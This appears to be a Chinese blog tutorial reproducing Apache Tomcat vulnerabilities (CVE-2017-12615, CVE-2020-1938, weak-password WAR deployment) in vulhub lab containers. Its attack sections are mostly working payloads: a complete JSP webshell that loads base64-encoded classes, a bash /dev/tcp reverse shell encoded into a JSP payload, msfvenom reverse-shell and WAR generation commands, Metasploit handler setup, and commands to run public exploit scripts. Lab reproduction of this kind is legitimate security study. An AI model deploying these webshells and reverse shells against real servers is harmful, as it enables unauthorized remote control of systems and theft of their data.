赞
踩
目录
Tomcat是一个开源的轻量级web应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。Tomcat是Apache服务器的拓展,Apache主要为HTML页面服务,Tomcat主要运行jsp页面和Servlet,也具有处理HTML页面的功能。
由于配置不当,将配置文件`conf/web.xml`中的`readonly`设置为false(非默认配置),导致可以使用PUT方法上传任意文件,攻击者可以上传精心构造的包含任意代码的jsp的webshell文件(但也限制了jsp后缀的上传),jsp文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露,甚至可以获取服务器权限。
主要的是Tomcat 7.0.0 - 7.0.81,8.5.19
进入对应目录,并启动靶场
- cd /vulhub/tomcat/CVE-2017-12615
- docker-compose up -d
查看靶场开放端口,8080
docker-compose ps
可以使用扫描工具进行探测漏洞,网上有很多扫描漏洞工具,如Nessus、AWVS等。
我这里使用一个简单的扫描工具nacs,下载地址:nacs项目地址
./nacs -h 192.168.15.249
1、抓包,修改数据包,上传正常txt文件
抓包查看到是一个GET方法,改成PUT方法并写入一个test.txt文件,可以看到返回201说明上传成功
进入docker容器查看一下是否写入成功
- docker ps
- docker exec -ti 容器ID bash
- cd /usr/local/tomcat/webapps/ROOT
- ls
上传jsp文件,但是发现直接上传jsp后缀的文件被拦截了,返回了404,所以这里需要进行jsp后缀名绕过。
jsp后缀名绕过有很多种方法,比如使用斜杠(Linux和Windows都适用);使用空格%20(对于Windows适用);使用::$DATA绕过(对于Windows适用)等等...
这里使用斜杠绕过:
给一个蚁剑jsp木马参考代码吧,连接密码是passwd
- <%!
- class U extends ClassLoader {
- U(ClassLoader c) {
- super(c);
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
-
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
- } catch (Exception e) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke(null);
- return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
- }
- }
- %>
- <%
- String cls = request.getParameter("passwd");
- if (cls != null) {
- new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
- }
- %>
上传成功后用蚁剑连接就可以获取服务器权限
Tomcat配置了两个Connector(默认),分别是HTTP和AJP。漏洞由于Tomcat AJP协议存在缺陷而导致攻击者可以通过构造特定的参数,读取/包含服务器webapp下的任意文件,如果有文件上传点,那攻击者可以上传图片马然后包含此文件,获取webshell。
AJP协议用于Tomcat和Apache HTTP Server之间的通信;HTTP用于客户端和服务端的通信;
AJP默认端口8009;HTTP默认端口8080
Tomcat 6
Tomcat 7 - 7.0.10
Tomcat 8 - 8.5.51
Tomcat 9 - 9.0.31
进入对应目录,并开启靶场
- cd /vulhub/tomcat/CVE-2020-1938
- docker-compose up -d
查看靶场端口,8080
docker-compose ps
使用POC进行漏洞检测,如果存在漏洞则可以查看webapps目录下的所有文件(任意读取)
- git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
- cd CNVD-2020-10487-Tomcat-Ajp-lfi
- python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.15.249 -p 8009 -f /WEB-INF/web.xml
利用文件上传然后反弹shell:
1、生成一个shell.txt文件,可以用msf生成也可以手动生成:
(1)使用手动生成:
- bash -i >& /dev/tcp/192.168.15.249/4444 0>&1
-
- #base64编码后
- YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=
-
- #然后变成
- "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
所以构造一个payload:
- #shell.txt
- <% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>
然后抓包上传到靶场,开启监听4444端口,然后再使用POC工具执行就可以得到反弹shell
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.15.249 -p 8009 -f shell.txt
(2)使用msf工具生成payload文件:
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.15.249 lport=4444 R > shell.txt
然后抓包上传到靶场,这里复制到docker容器内模拟文件上传
docker cp /home/kali/桌面/shell.txt db8b0f89097e:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt
然后进入容器内查看是否上传成功
然后开启msf监听
- msfconsole
- use exploit/multi/handler
- set payload java/jsp_shell_reverse_tcp
- set lport 4444
- set lhost 192.168.15.249
- run
然后访问shell.txt,是shell.txt发生文件包含
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /WEB-INF/shell.txt 192.168.47.129
(我这里换了一个POC才成功,看的有的文章用上面那个POC也能成功,我也不知道为什么,一样下载:git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/)
在Tomcat8版本下默认进入后台的密码为tomcat/tomcat,未修改存在弱口令漏洞,造成未授权登入后台。进入后台后又允许上传war文件进行部署,造成远程war文件部署漏洞,获取服务器权限。
全版本
进入对应目录,开启靶场环境
- cd /vulhub/tomcat/tomcat8
- docker-compose up -d
访问后台管理页面,然后用账号密码登录
发现有一个上传war包的地方
利用msf生成war包(这里跟之前Weblogic弱口令复现是一样的)
msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war
然后上传war包,开启msf监听
- msfconsole
- use exploit/multi/handler
- set payload java/meterpreter/reverse_tcp
- set LHOST 192.168.xx.xxx
- set LPORT 4444
- exploit
最终访问http://ip:8080/java就可以触发payload,反弹shell
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞原因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
利用条件:
Tomcat 9.0.0.M1 - 9.0.17
Tomcat 8.5.0 - 8.5.39
Tomcat 7.0.0 - 7.0.93
在vulhub没有环境,所以就没有进行复现。如果感兴趣的可以看看这篇参考文章:Tomcat 远程代码执行/提权漏洞(CVE-2019-0232)复现_tomcat7 enablecmdlinearguments-CSDN博客
当Tomcat使用了自带session同步功能时且使用了不安全的配置(没有使用EnceypthInterceptor),会去读取session文件,然后形成反序列化漏洞。攻击者通过精心构造的数据包,可以对使用了自带session同步功能的Tomcat服务器进行攻击。
利用条件:
在vulhub没有环境,所以就没有进行复现。如果感兴趣的可以看看这篇参考文章:
CVE-2020-9484 Tomcat Session 反序列化复现-CSDN博客
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。